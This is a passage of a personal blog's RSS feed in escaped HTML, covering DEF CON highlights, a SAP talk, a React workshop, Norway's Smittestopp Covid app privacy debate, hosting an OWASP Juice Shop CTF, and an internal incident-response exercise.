        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;DEF CON was also great; The badge, the first ever &lt;a href=&quot;https://www.appsecvillage.com&quot;&gt;AppSec village&lt;/a&gt;, Patrick Wardle&apos;s presentation about &lt;a href=&quot;https://www.defcon.org/html/defcon-27/dc-27-speakers.html#Wardle&quot;&gt;Mac malware&lt;/a&gt;, Bruce Schneier&apos;s &quot;Information Security in the Public Interest&quot;-&lt;a href=&quot;https://www.defcon.org/html/defcon-27/dc-27-speakers.html#Schneier&quot;&gt;talk&lt;/a&gt;, Hacker Jeopardy, Whose Slide Is It Anyway – and of course &quot;&lt;a href=&quot;https://www.youtube.com/watch?v=CsQ2VWEfduM&quot;&gt;Adventures In Smart Buttplug Penetration (testing)&lt;/a&gt;&quot;!&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f107389e6824d13a51a473da9c1197d2/d2602/fukt.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.31645569620254%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAACBf/EABQBAQAAAAAAAAAAAAAAAAAAAAH/2gAMAwEAAhADEAAAAeIg7ELah//EABsQAAICAwEAAAAAAAAAAAAAAAECAAMEEhMR/9oACAEBAAEFAlGxFO0sXmynyDIVZY3Vv//EABYRAAMAAAAAAAAAAAAAAAAAAAEQEf/aAAgBAwEBPwE1f//EABYRAAMAAAAAAAAAAAAAAAAAAAEQEf/aAAgBAgEBPwERf//EAB0QAAEEAgMAAAAAAAAAAAAAAAABAhEhAxIiUXH/2gAIAQEABj8C6Ke0hRaOOJJ9NoP/xAAcEAACAQUBAAAAAAAAAAAAAAABEQAhMUFRcYH/2gAIAQEAAT8hcBhMmOXHsJQjyDdUwuRGQNiRhLJhT//aAAwDAQACAAMAAAAQ2A//xAAXEQADAQAAAAAAAAAAAAAAAAAAASER/9oACAEDAQE/EKQSeH//xAAXEQADAQAAAAAAAAAAAAAAAAAAASER/9oACAECAQE/EI0bWn//xAAcEAEAAgIDAQAAAAAAAAAAAAABABEhMUFRkbH/2gAIAQEAAT8QxxhauIVHLU0+ksslDaxLOBpXyspjw96RvXp49xyxiUOp/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Whose Slide Is It Anyway&quot;
        title=&quot;Whose Slide Is It Anyway&quot;
        src=&quot;/static/f107389e6824d13a51a473da9c1197d2/828fb/fukt.jpg&quot;
        srcset=&quot;/static/f107389e6824d13a51a473da9c1197d2/ff44c/fukt.jpg 158w,
/static/f107389e6824d13a51a473da9c1197d2/a6688/fukt.jpg 315w,
/static/f107389e6824d13a51a473da9c1197d2/828fb/fukt.jpg 630w,
/static/f107389e6824d13a51a473da9c1197d2/0ede0/fukt.jpg 945w,
/static/f107389e6824d13a51a473da9c1197d2/3ac88/fukt.jpg 1260w,
/static/f107389e6824d13a51a473da9c1197d2/d2602/fukt.jpg 4032w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I just wish I hadn&apos;t missed &lt;a href=&quot;https://soundcloud.com/azuki&quot;&gt;Azuki&lt;/a&gt;&apos;s (&lt;a href=&quot;https://twitter.com/bcrypt&quot;&gt;Yan Zhu&lt;/a&gt;) DJ set.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2e77490f3c149e1286ae1e1d10bd5032/d2602/keybutt.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.31645569620254%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAEEBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAHErkcIA//EABkQAAIDAQAAAAAAAAAAAAAAAAEDAAIQEf/aAAgBAQABBQKOQVVzpOf/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAYEAADAQEAAAAAAAAAAAAAAAABEBEAIf/aAAgBAQAGPwLA2vpX/8QAGBABAQEBAQAAAAAAAAAAAAAAAREQMQD/2gAIAQEAAT8h8iDTOawUZyuf/9oADAMBAAIAAwAAABBYL//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8QP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABkQAQEBAQEBAAAAAAAAAAAAAAERIQAQcf/aAAgBAQABPxA1DK51x5sxELTdOvTiAGIEZ88//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Keybutt&quot;
        title=&quot;Keybutt&quot;
        src=&quot;/static/2e77490f3c149e1286ae1e1d10bd5032/828fb/keybutt.jpg&quot;
        srcset=&quot;/static/2e77490f3c149e1286ae1e1d10bd5032/ff44c/keybutt.jpg 158w,
/static/2e77490f3c149e1286ae1e1d10bd5032/a6688/keybutt.jpg 315w,
/static/2e77490f3c149e1286ae1e1d10bd5032/828fb/keybutt.jpg 630w,
/static/2e77490f3c149e1286ae1e1d10bd5032/0ede0/keybutt.jpg 945w,
/static/2e77490f3c149e1286ae1e1d10bd5032/3ac88/keybutt.jpg 1260w,
/static/2e77490f3c149e1286ae1e1d10bd5032/d2602/keybutt.jpg 4032w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Sure hope I&apos;m able to go back next year!&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fc278dd8a430ac07f49370dffa5e6758/d2602/fountain.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.31645569620254%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBAX/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAABxlW5w8QV/8QAGhAAAgMBAQAAAAAAAAAAAAAAAQIAAxASE//aAAgBAQABBQI1sMbztxQJzP/EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABoQAQABBQAAAAAAAAAAAAAAAAECEBEgQVH/2gAIAQEABj8C7Qm3iugw/8QAGxAAAwEAAwEAAAAAAAAAAAAAAAERITFRYYH/2gAIAQEAAT8hSXE8FjExIbiI1y18LLFX5TtHp//aAAwDAQACAAMAAAAQ7w//xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAwEBPxCH/8QAFREBAQAAAAAAAAAAAAAAAAAAERD/2gAIAQIBAT8QSf/EAB4QAQACAQQDAAAAAAAAAAAAAAEAESExQVGRYYGh/9oACAEBAAE/EGAAc7etY6F2d4msqFVTGPVTDAX5FQDTNlcncbVy2p8n/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Vegas Fountain&quot;
        title=&quot;Vegas Fountain&quot;
        src=&quot;/static/fc278dd8a430ac07f49370dffa5e6758/828fb/fountain.jpg&quot;
        srcset=&quot;/static/fc278dd8a430ac07f49370dffa5e6758/ff44c/fountain.jpg 158w,
/static/fc278dd8a430ac07f49370dffa5e6758/a6688/fountain.jpg 315w,
/static/fc278dd8a430ac07f49370dffa5e6758/828fb/fountain.jpg 630w,
/static/fc278dd8a430ac07f49370dffa5e6758/0ede0/fountain.jpg 945w,
/static/fc278dd8a430ac07f49370dffa5e6758/3ac88/fountain.jpg 1260w,
/static/fc278dd8a430ac07f49370dffa5e6758/d2602/fountain.jpg 4032w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Since returning from Vegas, I&apos;ve written about both Black Hat (&lt;a href=&quot;https://www.kode24.no/kodenytt/frykt-og-avsky-i-cyberspace/71508464&quot;&gt;original Norwegian&lt;/a&gt;, &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.kode24.no%2Fkodenytt%2Ffrykt-og-avsky-i-cyberspace%2F71508464&quot;&gt;English Google Translation&lt;/a&gt;) and DEF CON (&lt;a href=&quot;https://www.kode24.no/kodenytt/buttplug-hacking-og-andre-hoydepunkter-fra-def-con/71541770&quot;&gt;original Norwegian&lt;/a&gt;, &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.kode24.no%2Fkodenytt%2Fbuttplug-hacking-og-andre-hoydepunkter-fra-def-con%2F71541770&quot;&gt;English Google Translation&lt;/a&gt;) for the Norwegian site Kode24.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Such a SAP]]></title><description><![CDATA[Today, I held a presentation at SAP Brukerforening Norge (SBN) / SAP User Group Norway's event InnoTeam: Project Leadership. Originally, my…]]></description><link>https://eivindarvesen.com/blog/2018/04/23/such-a-sap</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/04/23/such-a-sap</guid><content:encoded>&lt;p&gt;Today, I held a presentation at SAP Brukerforening Norge (SBN) / SAP User Group Norway&apos;s event &lt;a href=&quot;https://www.sap-sbn.no/no/aktivitet/1399/innoteam-project-leadership&quot;&gt;InnoTeam: Project Leadership&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Originally, my old team leader Jasmine was going to hold a presentation, but as she was very ill I got a phone call two hours before the alotted time asking me to fill in.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/a396cdbc92abf921ec7a2bcba1dc66d6/07a9c/presentation.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 62.65822784810127%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADTklEQVR42m2TXUxbZRjHT7Sz7en5aE9bSmI0MVEccx20fAy6EJNlzmiWeGOyLZpFbzUmXniz6IUXXuzGq1054yKMhhEKjo8RNnBuTlEnokY33cYGrNCW0kIpY9AW+Pm0JF4Yz8kv75vz8Xv/z/PmVUy3D6+vCtNtobkMQUfXTcGNqpnYdqk8ZnPiUI0KuunDMLyo8q3DaWB36tgdOxjiUvw+H26RfXjyAwY6v6D700/oi0Xp6Won1tXBubOfcerjj3j3rTc48mKEastkd83ztHf20NXdS2/fBWJ9/USjUV6orUGxLC+GaTFy8QJsb5C4d5t0cpaVzDwbqxlKazkeLS+yvrTArZ/HearKT31wH+sFeLi2QaFQpHxlMhnC4TCK1+vFI1GH+2MUVheY+mOC+zcnmbn5C7N/TrAUv0ty6m8Zp0nc+Yu9kq5ZftwWST6fJ5dbYXNzk3Q6TSgcQnG7PVgeP1+P9MNWno3cHIXcPIXledazs6wtzpBPCck4i9NTREJhIg2NlVTFYpGtrS1KpbJwcSehT0oul31lZJDSapr1ZRHmUyKZYlVYSdyVdLeFO2RmpzjU2krD3jqSySWSqQyJZJpsNsuD+Bz1IUnodZtYbjeT331bWXV8dIhrQz1QWqaYjVNailPIzPIodZ9iep7XDh6kORgkm3vI9IOEiFOV/t2biRMK1aO4HHZMl8qp999h8Mxp3jt2lJMnjnP1/FnGOj/nek8738fOMf5VlFtjwxxpO0CTCMt9K5ZKlGTclobOzSVEKAk1ux1LhK8En+PVYA2HG1t4+/AhTrQ18GZbI8ci9Rxt3cfr+4McPxCiJmAR2d8sZa6wKKUWN6WPcqcW0js9dIlQr6R08rTfx8sNTbwUrqNp9zM8+2Q1lqbjNwx8hk5ARt32OBHZzRuTPzDx6zi//f4TY99cZGLiBs1NzSjqEzbUXYLNhi5yr6Hh01URuPCbmgiduJ12PKq8U52oikKLlPzj9WuMDg3Q29HBl6fPcPXyFVpkwxTLlKPmdGKo6g6ussio4DNlwySZpWt4dBcemZcXr9uzh/6BYQaHhrl06TKjo2Oc7+6mtrYWJRCo5r9UBQL/Evgf/H6/nHUNTdNQJYTD4ajMy8//AW8sYfyJQoS4AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Getting some praise on an internal Facebook group&quot;
        title=&quot;Getting some praise on an internal Facebook group&quot;
        src=&quot;/static/a396cdbc92abf921ec7a2bcba1dc66d6/f058b/presentation.png&quot;
        srcset=&quot;/static/a396cdbc92abf921ec7a2bcba1dc66d6/c26ae/presentation.png 158w,
/static/a396cdbc92abf921ec7a2bcba1dc66d6/6bdcf/presentation.png 315w,
/static/a396cdbc92abf921ec7a2bcba1dc66d6/f058b/presentation.png 630w,
/static/a396cdbc92abf921ec7a2bcba1dc66d6/40601/presentation.png 945w,
/static/a396cdbc92abf921ec7a2bcba1dc66d6/78612/presentation.png 1260w,
/static/a396cdbc92abf921ec7a2bcba1dc66d6/07a9c/presentation.png 1440w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Luckily, I&apos;ve spoken about this &lt;a href=&quot;/blog/2017/12/05/hypothesis--and-goal-driven-development&quot;&gt;several&lt;/a&gt; &lt;a href=&quot;/blog/2018/02/25/company-blog&quot;&gt;times&lt;/a&gt; &lt;a href=&quot;/blog/2018/03/30/presentation--presentation--presentation&quot;&gt;before&lt;/a&gt;, so it went pretty well.&lt;/p&gt;
&lt;p&gt;The organizers have already uploaded a video of the presentation (slides and sound only; Norwegian):&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://player.vimeo.com/video/266161219&quot; frameborder=&quot;0&quot; webkitallowfullscreen=&quot;&quot; mozallowfullscreen=&quot;&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;Additionally, PDFs of my slides are available &lt;a href=&quot;/content/pages/slides/Lean-Machine-SAP-2018.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Teaching a React/Redux-workshop]]></title><description><![CDATA[This fall I had the pleasure of running a React/Redux-workshop three times internally at Bouvet, along with my colleague, Lars Dølvik. It…]]></description><link>https://eivindarvesen.com/blog/2018/12/05/teaching-a-react-redux-workshop</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/12/05/teaching-a-react-redux-workshop</guid><content:encoded>&lt;p&gt;This fall I had the pleasure of running a React/Redux-workshop three times internally at Bouvet, along with my colleague, &lt;a href=&quot;https://no.linkedin.com/in/lars-d%C3%B8lvik-48336370&quot;&gt;Lars Dølvik&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It was immensely popular – in fact, I was told that all twenty spots for the first workshop were gone before the event description was filled out!&lt;/p&gt;
&lt;p&gt;A few things we hadn&apos;t really prepared for specifically, but figured out along the way was:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some low volume, chill music makes for a more comfortable atmosphere than silence&lt;/li&gt;
&lt;li&gt;Keep presentations informative, but concise – people learn more by doing than by listening&lt;/li&gt;
&lt;li&gt;If the workshop is partitioned into sections (and/or there&apos;s multiple presentations), you should probably poll the participants somehow, to see how the average progress is going&lt;/li&gt;
&lt;li&gt;Walk around the room to make sure nobody gets stuck (this also ties into the previous point)&lt;/li&gt;
&lt;li&gt;Engage with and talk to participants, both on- and off-topic; Instructors should come across as light-hearted and easily approachable, and build an engaging and inclusive setting, so that nobody is afraid of asking for help (from anybody)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our materials are available &lt;a href=&quot;https://github.com/EivindArvesen/react&quot;&gt;on GitHub&lt;/a&gt;, and our slides are available &lt;a href=&quot;/content/pages/slides/React-Redux-Workshop-2018.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The course material was largely based on work originally done by &lt;a href=&quot;http://nerdschoolbergen.github.io/home/&quot;&gt;Bergen Nerdschool&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A final post about Smittestopp]]></title><description><![CDATA[It's been a long time since my last post. Lots have happened since then, but I thought I'd summarize what looks to be the end of the saga of…]]></description><link>https://eivindarvesen.com/blog/2021/01/02/a-final-post-about-smittestopp</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2021/01/02/a-final-post-about-smittestopp</guid><content:encoded>&lt;p&gt;It&apos;s been a long time since my last post.&lt;/p&gt;
&lt;p&gt;Lots have happened since then, but I thought I&apos;d summarize what looks to be the end of the saga of Smittestopp, the Norwegian Covid-app.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;For more info, I recommend reading &lt;a href=&quot;https://blogs.prio.org/2020/05/norways-smittestopp-infection-stop-app-as-a-socio-legal-problem/&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://blogs.prio.org/2020/10/chronicling-smittestopp-game-on-game-over-blame-games/&quot;&gt;this&lt;/a&gt; post from the Peace Research Institute Oslo about Smittestopp.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In short:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Norway finally has it&apos;s very own defensible Covid-app (with a responsible privacy impact), based on Google and Apple&apos;s ExposureNotification framework.
&lt;ul&gt;
&lt;li&gt;There was only one repsonse to the Request For Proposal, none of which were from any of the many vocal critics of the first app, nor any other Norwegian companies (most, &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https://www.dagensmedisin.no/artikler/2020/10/21/kun-et-selskap-ga-tilbud-pa-nye-smittestopp-og-det-var-dansk/&quot;&gt;when asked&lt;/a&gt;, stated risk of reputation and too little time to make the right people available).&lt;/li&gt;
&lt;li&gt;The Danish consultancy Netcompany (who made the Danish national covid-app) was chosen – which seems like a good idea given the the probability of code reusability. This project has been the total opposite of the last, with source code publicly available on GitHub and a public Slack for discussions and contributions.&lt;/li&gt;
&lt;li&gt;The Norwegian implementation relating to authentication post-diagnosis/pre-upload included making an indentifying login to a public service...
&lt;ul&gt;
&lt;li&gt;This would make it possible for the authorities to connect the user identity with the uploaded data, and potentially make social graphs of identified users and so on (at least in theory) – which made me argue that the suggested token system could trace users on the Slack for people who signed the independent appeal regarding the first app (which I had no issues signing, as its suggestions were uncontroversial, based on industry best practices, and more or less in line with what our expert group had recommended to the government).&lt;/li&gt;
&lt;li&gt;After verifying this, &lt;a href=&quot;https://tjerandsilde.no/&quot;&gt;Tjerand Silde&lt;/a&gt; and &lt;a href=&quot;https://github.com/martstr&quot;&gt;Martin Strand&lt;/a&gt; wrote a suggestion for an alternative, private token system. The Norwegian Consultancy Bekk has a whole &lt;a href=&quot;https://security.christmas/2020/22&quot;&gt;blogpost&lt;/a&gt; about this.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The Norwegian Institute of Public Health (FHI) and the Minister of Health has consistently made remarks that makes me think they know very little about privacy, and still hasn&apos;t understood what all the fuzz was about, feel they have done no wrong and that they think we should have kept at it with version one – even going so far as stating they disagree with our Data Protection Authority&apos;s decision to shut it down, claiming it would be immensely valuable, that privacy was well taken care of, etc.&lt;/li&gt;
&lt;li&gt;Simula is still peddling their nonsense at any opportunity they get, including at self-hosted seminars, in the media and at conferences:
&lt;ul&gt;
&lt;li&gt;They keep claiming they wanted to help when asked, even though &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https://www.dagbladet.no/nyheter/fhi-klaget-inn-for-brudd-pa-konkurransereglene/72467001&quot;&gt;it is known&lt;/a&gt; that &quot;It was Simula who contacted FHI to offer help&quot;&lt;/li&gt;
&lt;li&gt;They keep claiming this was &quot;groundbreaking work&quot;, even though neither the technologies nor the privacy issues were new in themselves (both exposure notification as well as privacy preserving techniques were not new in March) – which strengthens my suspicion that there was no privacy competency (or in some cases even knowledge) on neither customer nor supplier-side.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Though one might see this continued insistence on pushing their own narrative as an attempt of saving face, I fear Simula has such a poor understanding of privacy (and privacy engineering) that they genuinely believe that minimum effort, basic auth-measures from the security-field equals privacy.&lt;/p&gt;
&lt;p&gt;* Insert rant about data protection != data privacy here *&lt;/p&gt;
&lt;p&gt;Especially when looking at Olav Lysne&apos;s (Director of Simula, leader of the Lysne-comittees that proposed what amounts to metadata bulk collection / mass surveillance in Norway – which is a post for another day...) or other Simula-exec&apos;s statements from earlier last year. At the same time, some of their communications have been marked by rewriting history – which is sad, because who (that has no deep knowledge of any of the relevant subjects themselves) will be able to tell what really happened and how many things went wrong a few years from now, if Simula has gained a majority coverage in reputable media for their alternative narrative?&lt;/p&gt;
&lt;p&gt;And that would be a big problem. Our goal must be to not get into this situation again, and to reach that goal it is important that the public debate reflects the realities of the subject. The problem of giving every side a &quot;fair coverage&quot; in this debate (as with e.g. climate change) is that we&apos;re left with a sort of false balance – which could be interpreted as there being two equal sides of this story...&lt;/p&gt;
&lt;p&gt;Here&apos;s hoping this is the final time I have to hear about the embarassing initial handling of digital contact tracing in Norway.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hosting a CTF]]></title><description><![CDATA[Back in August, all of Bouvet went on our annual "independence trip" (in celebration of our company being independent, and partially owned…]]></description><link>https://eivindarvesen.com/blog/2018/12/02/hosting-a-ctf</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/12/02/hosting-a-ctf</guid><content:encoded>&lt;p&gt;Back in August, all of Bouvet went on our annual &quot;independence trip&quot; (in celebration of our company being independent, and partially owned by its employees). Here we attended various social activities, as well as presentations and workshops.&lt;/p&gt;
&lt;p&gt;In connection with this, I organized a workshop centered on Web Security, along with &lt;a href=&quot;https://www.linkedin.com/in/knutgaute&quot;&gt;Knut Gaute Vardenær&lt;/a&gt; and &lt;a href=&quot;https://no.linkedin.com/in/arnef&quot;&gt;Arne Fostvedt&lt;/a&gt;. Fist, I held a short &lt;a href=&quot;/content/pages/slides/Websec-CTF-Play-2018.pdf&quot;&gt;presentation&lt;/a&gt; that mainly dealt with the motivation for having a focus on security, as well as the &lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&quot;&gt;OWASP Top 10&lt;/a&gt; list. After this we held a mini-CTF (Capture The Flag) competition, using OWASP &lt;a href=&quot;https://github.com/bkimminich/juice-shop&quot;&gt;Juice Shop&lt;/a&gt; – &quot;an intentionally insecure webapp for security trainings&quot;.&lt;/p&gt;
&lt;p&gt;We basically bootstrapped our infrastructure setup using a &lt;a href=&quot;https://github.com/EivindArvesen/ctfctrl&quot;&gt;script&lt;/a&gt; I wrote that creates a few free Heroku-apps and pings every instance at a certain interval to keep the serverside state alive (free instances spin down after a certain amount of time of inactivity). The Juice-Shop instances are then available at URLs like &lt;code class=&quot;language-text&quot;&gt;https://PREFIX-ctf-INSTANCE.herokuapp.com&lt;/code&gt;, which can be assigned to corresponding teams. The only thing left is to spin up a &lt;a href=&quot;https://github.com/CTFd/CTFd&quot;&gt;CTFd&lt;/a&gt;-instance and configure your key.&lt;/p&gt;
&lt;p&gt;We also made some &lt;a href=&quot;https://EivindArvesen.github.io/ctf-homepage-bouvet-play-2018/hints.pdf&quot;&gt;hints&lt;/a&gt; (courtesy of &lt;a href=&quot;https://joshcgrossman.com/&quot;&gt;Josh C. Grossman&lt;/a&gt;) available on a shared &lt;a href=&quot;https://EivindArvesen.github.io/ctf-homepage-bouvet-play-2018/&quot;&gt;CTF-Homepage&lt;/a&gt;. Here players would also find a few basic rules and some suggested low-hanging fruits from the tasks.&lt;/p&gt;
&lt;p&gt;All in all the experience was a positive one, and the contestants all seemed to have a good time. The winners were rewarded with YubiKeys for 2FA.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Wargames]]></title><description><![CDATA[Last month, at our semi-annual internal conference "Bouvet One", I held a presentation with Stian Westvig and Lars Dølvik about how Stian…]]></description><link>https://eivindarvesen.com/blog/2018/12/10/wargames</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/12/10/wargames</guid><content:encoded>&lt;p&gt;Last month, at our semi-annual internal conference &quot;Bouvet One&quot;, I held a presentation with &lt;a href=&quot;https://no.linkedin.com/in/stian-westvig-b1a0951a&quot;&gt;Stian Westvig&lt;/a&gt; and &lt;a href=&quot;https://no.linkedin.com/in/lars-d%C3%B8lvik-48336370&quot;&gt;Lars Dølvik&lt;/a&gt; about how Stian and ex-Bouvet&apos;er &lt;a href=&quot;https://no.linkedin.com/in/adamhaeger&quot;&gt;Adam Haeger&lt;/a&gt; onboarded us in a pretty complicated web application hosted in Kubernetes, built using a bunch of modern technologies and architectured across multiple microservices.&lt;/p&gt;
&lt;p&gt;In short, they basically constructed realistic crises in the form of application failure scenarios in a test-environment, that we then had to sort out. This was, of course, after a month or two as contributors on the team.&lt;/p&gt;
&lt;p&gt;All in all, I&apos;d say it was very interesting and educational!&lt;/p&gt;
